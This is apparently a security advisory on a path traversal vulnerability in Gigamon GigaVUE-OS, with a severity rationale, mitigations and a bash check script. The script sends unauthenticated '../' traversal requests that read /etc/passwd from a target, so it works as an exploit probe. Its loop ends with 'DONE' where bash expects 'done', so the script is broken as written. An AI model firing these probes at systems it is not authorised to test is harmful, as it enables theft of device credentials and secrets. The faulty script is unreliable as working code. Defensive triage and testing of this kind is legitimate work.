Gigamon GVOS v5

CVE-2026-36848 is a classic CWE-22 path traversal in the H-VUE web subsystem of Gigamon GigaVUE-OS (GVOS) ≤ 5.16.1. H-VUE is the HTML5 management interface that runs on GigaVUE visibility nodes (HC-series chassis, TA-series, and virtual nodes). A request to a vulnerable H-VUE endpoint accepts a user-controlled path component that is not canonicalized, so an attacker can walk out of the intended document root with ../ sequences and read arbitrary files readable by the H-VUE process. The CVSS vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N says it plainly: network-reachable, no auth, no user interaction, total confidentiality loss, no write, no DoS.

Vendor severity of HIGH (7.5) is honest. The score reflects pure information disclosure without code execution, which is correct — but on a packet broker the disclosed information is exactly the wrong information to leak: device credentials, SNMPv3 secrets, AAA/TACACS shared secrets, SSH host keys, tunnel pre-shared keys, GigaSMART decryption keys if PKDF is used, and the configuration that describes every tap and SPAN session in your environment. The score doesn't capture *what* you're reading off the box; the role of the box is what makes this materially worse than 7.5 on most enterprise networks.

Why this verdict

• Unauthenticated and trivial to weaponize: PR:N, AC:L, UI:N — a single HTTP request with ../ is the entire exploit. There is no skill barrier the moment the endpoint is known.
• Role multiplier — GigaVUE is the visibility fabric: the affected component is canonically high-value. Files readable from H-VUE include device config, AAA/TACACS secrets, SSH host keys, and the running-config that maps every tap and SPAN destination. Confidentiality loss here pivots to *integrity loss of your detection plane*.
• Friction — management plane is usually isolated: in mature shops the H-VUE NIC sits on an OOB mgmt VLAN with allow-listed admin jump hosts. That deflates the unauthenticated-remote attractiveness from internet-scale to insider/lateral-movement scale, which keeps the verdict at HIGH instead of CRITICAL.
• No write, no RCE in this CVE alone: the impact vector is C-only. Without an integrity primitive, the attacker still needs to crack/replay a credential or chain another flaw to flip from 'reads my config' to 'reroutes my traffic.' That gap is the difference between HIGH and CRITICAL.
• Not on KEV, no public PoC yet: treat as imminent but not active. Once any researcher posts the endpoint path, weaponization is hours, not days.

Why not higher?

CRITICAL would require either (a) integrity/availability impact in the same primitive (it's C-only) or (b) an installed-base argument that ≥10% of GigaVUE units are externally reachable. Neither holds — Shodan shows GigaVUE public exposure is small in absolute and relative terms, and the CVSS impact triad is one-third lit. The blast radius is severe *if* the chain completes, but the chain still requires a follow-on credential replay.

Why not lower?

Downgrading to MEDIUM would require either authentication or a contained blast radius. Neither applies: this is unauthenticated, and the component sees and controls *all* mirrored traffic across the enterprise — there is no tenant-scoping or per-user limit. A generic 'requires internal network' argument does not break the role-multiplier floor for a packet broker.

1. Bind H-VUE to an isolated management VLAN and ACL it to admin jump hosts only — Use web client-ip allow-lists on GVOS or upstream firewall ACLs so only your admin bastion subnets can reach TCP/443 on the GigaVUE mgmt interface. This caps the unauthenticated attacker population to already-inside actors. Deploy within the noisgate mitigation SLA of 30 days for HIGH; ideally same week.
2. Disable H-VUE where CLI / GigaVUE-FM is sufficient — From GVOS CLI: no web enable (verify against your version's syntax). If your operators administer exclusively via GigaVUE-FM or SSH/CLI, turning H-VUE off removes the vulnerable code path entirely. Same 30-day window.
3. Rotate on-box secrets defensively — Assume any GigaVUE unit reachable from a non-OOB network has had its config read. Rotate local admin passwords, TACACS+/RADIUS shared secrets, SNMPv3 creds, and any GigaSMART decryption keys. Schedule alongside the patch cycle within 30 days.
4. Add WAF / reverse-proxy traversal rules in front of mgmt UIs — If the mgmt VLAN already proxies through an internal NGINX or F5 for auth-bridge purposes, push a ModSecurity CRS rule blocking ../, %2e%2e%2f, and ..%5c in URI paths to H-VUE virtual hosts.
5. Monitor H-VUE access logs and mgmt-VLAN egress NetFlow — Ship /var/log/httpd/ (or GVOS equivalent) to your SIEM; alert on any HTTP 200 to a path containing ../ or unusually long URI. Pair with NetFlow on the mgmt VLAN to catch bulk egress to non-admin destinations.

Run this from an auditor workstation that has network reachability to your GigaVUE mgmt IP. Invoke as ./check_cve_2026_36848.sh <gigavue_mgmt_ip> — for example ./check_cve_2026_36848.sh 10.50.0.21. No credentials are required; only outbound HTTPS to the target. The script reports VULNERABLE if a traversal probe returns recognizable Unix passwd content, PATCHED if probes are blocked or version reports > 5.16.1, UNKNOWN otherwise.

#!/usr/bin/env bash
# check_cve_2026_36848.sh — Gigamon GVOS H-VUE directory traversal probe
# Usage: ./check_cve_2026_36848.sh <gigavue_mgmt_ip>
# Exit codes: 0 PATCHED, 1 VULNERABLE, 2 UNKNOWN
set -u
TARGET="${1:-}"
if [[ -z "$TARGET" ]]; then
  echo "usage: $0 <gigavue_mgmt_ip>" >&2
  exit 2
fi

CURL_OPTS=(-k -sS --max-time 8 -o /tmp/cve_2026_36848.body -w '%{http_code}')

# 1. Identify H-VUE
BANNER=$(curl "${CURL_OPTS[@]}" "https://${TARGET}/" 2>/dev/null || true)
if ! grep -qiE 'gigavue|h-vue|gigamon' /tmp/cve_2026_36848.body 2>/dev/null; then
  echo "UNKNOWN: target does not look like a GigaVUE H-VUE instance (HTTP=$BANNER)"
  rm -f /tmp/cve_2026_36848.body
  exit 2
fi

# 2. Try to read GVOS version from the public assets path
VER=$(curl -k -sS --max-time 8 "https://${TARGET}/api/version" 2>/dev/null | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -n1)
if [[ -n "$VER" ]]; then
  awk -v v="$VER" 'BEGIN{split(v,a,"."); if (a[1]<5 || (a[1]==5 && a[2]<16) || (a[1]==5 && a[2]==16 && a[3]<=1)) exit 0; exit 1}' && VULN_BY_VER=1 || VULN_BY_VER=0
else
  VULN_BY_VER=2
fi

# 3. Active traversal probe — benign target: /etc/issue then /etc/passwd
PROBES=(
  "/fileserver/download?file=../../../../etc/issue"
  "/fileserver/download?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd"
  "/api/v1/files/../../../../etc/passwd"
)
HIT=0
for P in "${PROBES[@]}"; do
  CODE=$(curl "${CURL_OPTS[@]}" "https://${TARGET}${P}")
  if [[ "$CODE" == "200" ]] && grep -qE '^root:x?:0:0:' /tmp/cve_2026_36848.body 2>/dev/null; then
    HIT=1
    break
  fi
DONE
rm -f /tmp/cve_2026_36848.body

if [[ $HIT -eq 1 ]]; then
  echo "VULNERABLE: ${TARGET} returned /etc/passwd content via traversal probe"
  exit 1
fi
if [[ $VULN_BY_VER -eq 1 ]]; then
  echo "VULNERABLE (by version): GVOS ${VER} is <= 5.16.1"
  exit 1
fi
if [[ $VULN_BY_VER -eq 0 ]]; then
  echo "PATCHED (by version): GVOS ${VER} > 5.16.1 and active probes did not succeed"
  exit 0
fi
echo "UNKNOWN: could not confirm version and active probes did not return passwd content"
exit 2

Sources

1. Gigamon Field Notice — GigaVUE-OS vulnerabilities
2. Gigamon — How Gigamon Handles Security Vulnerabilities
3. GigaVUE-OS Security Hardening Guide (v6.6)
4. Gigamon GigaVUE-OS CVE list (CVE Details)
5. Cybersecurity-Help — Multiple vulnerabilities in Gigamon GigaVUE-OS
6. CISA Known Exploited Vulnerabilities Catalog
7. CWE-22: Path Traversal
8. GigaVUE-OS product page